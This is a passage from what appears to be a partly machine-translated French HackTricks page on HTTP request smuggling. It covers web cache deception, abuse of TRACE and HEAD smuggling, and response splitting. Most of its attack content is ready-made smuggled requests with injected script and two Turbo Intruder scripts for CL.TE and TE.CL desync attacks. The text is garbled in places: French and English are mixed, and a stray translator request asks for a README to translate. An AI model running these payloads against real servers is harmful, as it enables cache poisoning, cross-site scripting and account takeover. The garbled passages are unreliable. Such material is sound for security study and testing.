Par la suite, toute requête pour /static/include.js servira le contenu mis en cache du script de l’attaquant, lançant ainsi une attaque XSS à grande échelle.

Utiliser HTTP request smuggling pour effectuer web cache deception

What is the difference between web cache poisoning and web cache deception?

  • Dans web cache poisoning, l’attaquant amène l’application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d’autres utilisateurs de l’application.
  • Dans web cache deception, l’attaquant amène l’application à stocker du contenu sensible appartenant à un autre utilisateur dans le cache, puis récupère ce contenu depuis le cache.

L’attaquant construit une smuggled request qui récupère du contenu sensible spécifique à un utilisateur. Considérez l’exemple suivant:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si cette requête smuggled empoisonne une entrée de cache destinée à du contenu statique (par ex., /someimage.png), les données sensibles de la victime provenant de /private/messages pourraient être mises en cache sous l’entrée de cache du contenu statique. Par conséquent, l’attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.

Abus de TRACE via HTTP Request Smuggling

In this post il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible d’en abuser avec HTTP Request Smuggling. Ceci s’explique par le fait que cette méthode renvoie tout en-tête envoyé au serveur dans le corps de la réponse. Par exemple :

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Veuillez coller le contenu du fichier README.md que vous voulez que je traduise en français.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
As the HEAD response will be containing a Content-Length header, the response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in the response.
This response will be sent to the next request over the connection, so this could be used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

La lecture de this post est suggérée pour une autre façon d’abuser de la méthode TRACE. Comme indiqué, en smuggling une requête HEAD et une requête TRACE il est possible de contrôler certaines données reflétées dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l’en-tête Content-Length et est constituée par la réponse à la requête TRACE.

Par conséquent, l’idée consiste à dire que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une HTTP response valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête vers la réponse suivante (ce qui pourrait être utilisé pour effectuer un cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Générera ces réponses (remarquez comment la réponse HEAD possède un Content-Length qui fait que la réponse TRACE fait partie du corps de la réponse HEAD et, une fois que le Content-Length de la réponse HEAD prend fin, une réponse HTTP valide est smuggled) :

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Exploiter HTTP Request Smuggling avec HTTP Response Desynchronisation

Avez-vous trouvé une vulnérabilité HTTP Request Smuggling et vous ne savez pas comment l’exploiter ? Essayez ces autres méthodes d’exploitation :

HTTP Response Smuggling / Desync

Autres techniques de HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Scripts Turbo intruder

CL.TE

Source: https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Source: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Outils

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks